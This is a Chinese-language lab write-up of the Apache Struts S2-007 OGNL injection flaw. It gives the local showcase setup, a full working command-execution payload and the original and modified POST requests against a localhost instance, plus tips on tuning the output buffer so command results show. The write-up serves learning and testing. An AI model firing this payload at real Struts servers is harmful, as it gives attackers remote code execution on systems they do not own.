struts-s2-007
此文仅供大家交流学习,严禁非法使用
一、参考网址:
https://www.waitalone.cn/struts2-command-exp.html
二、 影响版本:
Struts 2.0.0 - Struts 2.2.3
三、 漏洞介绍:
当有转换错误时,用户输入被评估为OGNL表达式。这允许恶意用户执行任意代码。
环境搭建
四、 环境搭建:
- 下载/struts/2.1.6
下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip
下载安装xampp
部署showcase
解压
- 复制到.
- 重启tomcat
- 已成功自动部署
五、 POC:
'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
六、 测试网址:
打开http://127.0.0.1:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action
这里有个参数Age,经过测试这为典型的int类型,且有异常处理
添加POC会是什么样的那?
依然出发异常机制,且无实际效果
不要放弃,使用burp抓包看看
七、原始数据包
POST /struts2-showcase-2.1.6/conversion/submitPersonInfo.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 131
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=3C813C56CE2307512F1ECA847E82DAF4
Connection: close
persons%5B0%5D.name=&persons%5B0%5D.age=223456789&persons%5B1%5D.name=&persons%5B1%5D.age=&persons%5B2%5D.name=&persons%5B2%5D.age=
八、更改后为
POST /struts2-showcase-2.1.6/conversion/submitPersonInfo.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 551
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=3C813C56CE2307512F1ECA847E82DAF4
Connection: close
persons%5B0%5D.name=&persons%5B0%5D.age='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'&persons%5B1%5D.name=&persons%5B1%5D.age=&persons%5B2%5D.name=&persons%5B2%5D.age=
九、执行结果
发现response貌似依旧没有变化,不要灰心,往下划,奇迹出现了
出现了命令执行的结果
将respose结果在浏览器打开
出现了运行结果。
十、发现问题
但发现一个问题,运行结果并不全面,虽然有最关键的以太网适配器信息,但还有这么个瑕疵,之后又发现一个问题,运行whoami时,无结果,运行netstat时结果,这又是怎么回事?
简单阅读POC,发现res存在大小上限(本人菜鸟,只会简单阅读,望大家指点)
经过测试发现,res更改为1000获得更多命令的结果
但改为5000时,结果将不能再现,现在做出假设,res大小超过命令结果大小时,将不再显示结果,以此来猜测为什么whoami不能执行
验证假设,将res大小设为10,重新执行whoami
假设成立
十一、总结
使用此POC时,注意灵活控制res大小,注意不要将res大小超过命令执行结果
十二、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子